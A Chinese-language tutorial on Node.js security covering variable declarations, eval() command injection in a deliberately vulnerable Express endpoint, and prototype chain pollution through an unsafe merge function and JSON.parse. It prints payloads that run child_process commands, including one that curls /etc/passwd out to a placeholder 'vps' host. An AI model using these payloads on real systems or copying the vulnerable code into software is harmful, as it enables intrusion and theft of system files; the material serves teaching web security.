题外话,js中const,var,let区别与用法
- const:定义的变量不可修改,且必须初始化。
const b = 2; //正确
// const b; 错误,必须初始化
console.log('函数外const定义b: ' + b); //有输出值
// b = 5;
// console.log(''函数外修改const定义b: ' + b'); 无法输出
- var:定义的变量可以修改,如果不初始化会输出undefined,不会报错。
var a = 1;
// var a; 不会报错
console.log('函数外var定义a: ' + a); //可以输出a=1
function change() {
a = 4;
console.log('函数内var定义a:' + a); //可以输出a=4
}
change();
console.log('函数调用后var定义a为函数内部修改值:' + a); //可以输出a=4
- let:是块级作用域,函数内部使用let定义后,对函数外部无影响。
let c = 3;
console.log('函数外let定义c: ' + c); //输出c=3
function change() {
let c = 6;
console.log('函数内let定义c:' + c); //输出c=6
}
change();
console.log('函数调用后let定义c不受函数内部定义影响:' + c); //输出c=3
危险函数所导致的命令执行
eval()
eval() 函数可以 计算某个字符串,并执行其中的JavaScript代码。和PHP中的eval() 函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
例子:
var express = require('express');
var app = express();
app.get('/eval', function(req, res) {
res.send(eval(req.query.q));
console.log(req.query.q);
});
var server = app.listen(8888, function() {
console.log("应用实例,访问地址为: http://127.0.0.1:8888/");
});
漏洞利用:
node.js中的chile_process.exec
调用的是/bash.sh
,它是严格bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');
来进行调用。
弹出计算器(windows):
/eval?q=require('child_process').exec('calc');
读取文件(Linux):
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');
继承与原型链
在谈到继承时,JavaScript只有一种结构:对象。每个实例对象(object)都有一个私有属性(称之为__proto__
) 指向它的构造函数的原型对象(prototype)。该原型对象也有一个自己的原型对象(__proto__
),层层向上直到一个对象的原型对象为null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
几乎所有的JavaScript中的对象都是位于原型链顶端的Object
的实例。
可以看到其父类为object,且里面还有许多函数,这就解释了为什么许多变量可以调用某些方法。
在JavaScript中一切皆对象,因为所有的变量,函数,数组,对象都始于object的原型,即object.prototype。同时,在js中只有类才有prototype属性,而对象却没有,对象有是__proto__
和类的prototype
对应。且二者是等价的。
当我们创建一个类时
原型链为:
b -> a.prototype -> object.prototype -> null
创建一个数组时
原型链为:
c -> array.prototype -> object.prototype -> null
创建一个函数时
原型链为:
d -> function.prototype -> object.prototype -> null
…….
总之,测试之后会发现:JavaScript中一切皆对象,一切皆始于object.prototype
。
原型链污染
既然明白了继承与原型链,那么我们来做一个简单的小实验:若我们有一个类如Foo,我们在new一个Foo的对象foo,上面说到foo.__proto__
与Foo类的prototype其实是等价的。那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
//foo是一个简单的js对象
let foo = {bar: 1};
//foo.bar 此时为1
console.log(foo.bar);
//修改foo的原型,即object
foo.__proto__.bar = 2;
//由于查找顺序的原因,foo.bar输出还是1
console.log(foo.bar);
此时再用object创建一个空的zoo对象
let zoo = {};
//查看zoo.bar,此时输出为2
console.log(zoo.bar);
这是因为之前我们修改了foo的原型foo.__proto__.bar=2
,而foo是一个object类的实例,所以我们实际上是修改了object这个类,给这个类添加了一个属性bar且值为2。所以之后我们又用这个object类新键了一个对象zoo,那么它的原型自然也有这个bar,当我们执行zoo.bar时,它会先访问zoo本身有没有,没有的话向上级查找,然后找到我们之前修改的foo原型并输出。(若没有则)
原型链变量的搜索
实例:
我们实例要先在i
中添加属性,但是在j
中也有了c属性。这是为什么呢?
当要使用或输出一个变量时:首先会在本层中搜索相应的变量,如果不存在的话,就会向上搜索,即在自己的父类中搜索,当父类中也没有时,就会向祖父类搜索,直到指向null,如果此时还没有搜索到,就会返回undefined。
所以上面的过程就很好的解释了,原型链为:
j -> i.prototype -> object.prototype -> null
所以对象j
调用c
属性时,本层中没有,所以要向上搜索,在上一层找到了我们添加的test3
,所以可以输出。
prototype原型链污染
实例:
mess.js
function a() {
var secret = ["aaa", "bbb"];
secret.forEach();
}
var b = new a();
console.log(b);
attach.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<script type="text/javascript">
Array.prototype.forEach = function()
{
var result = "result: ";
for(var i=0, length=this.length; i<length; i++)
{
result += this[i];
result += " ";
}
document.write(result);
}
</script>
<script src = "D://node/node_test/mess.js"></script>
</body>
</html>
结果:
在mess.js中我们声明了一个数组secret
,然后该数组调用了属于Array.prototype
的forEach
方法,如下
但是,在调用js文件之前,js代码将Array.prototype.forEach()
方法进行了重写,而prototype链为secret -> Array.prototype -> object.prototype
,secret中无forEach()方法,所以就会向上检索,就会找到Array.prototype
而其forEach()
方法已经被重写过了,所以会执行输出。
这就是原型链污染。很明显,原型链污染就是:在我们想要利用的代码之前的赋值语句如果可控的话,我们进行—__proto__
赋值,之后就可以利用代码了。
应用
在JavaScript中可以通过test.a
或test['a']
来对数组的元素进行访问。
对对象和prototype也是一样的。
所以,原型链污染一般会出现在对象、数组的键名或属性名可控,且是赋值语句的情况下。
再来看个例子:
- 对象merge
- 对象clone
以对象merge为例,我们构造一个简单的merge函数:
function merge(target, source) {
for(let key in source) {
if(key in source && key in target) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
让我们来实验一下:
let a = {};
let b = {o: 1, "__proto__": {i: 2}};
merge(a, b);
console.log(a.o, b.i);
c = {};
console.log(c.i);
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用js创建b的过程{o: 1, "__proto__": {i: 2}}
中,__proto__
已经代表b的原型了,此时遍历b的所有键名,我们拿到的是{o, i}
,__proto__
并不是一个key,自然也不会修改object的原型了。
那么如何让__proto__
被认为是一个键名呢?
我们将代码进行如下修改:
let a = {};
let b = JSON.parse('{"o": 1, "__proto__": {"i": 2}}');
merge(a, b);
console.log(a.o, a.i);
c = {};
console.log(c.i);
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的”键名”,而不代表”原型”,所以在遍历b的时候会存在这个键。
merge操作时最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
参考原文—->Sunsec
—->p神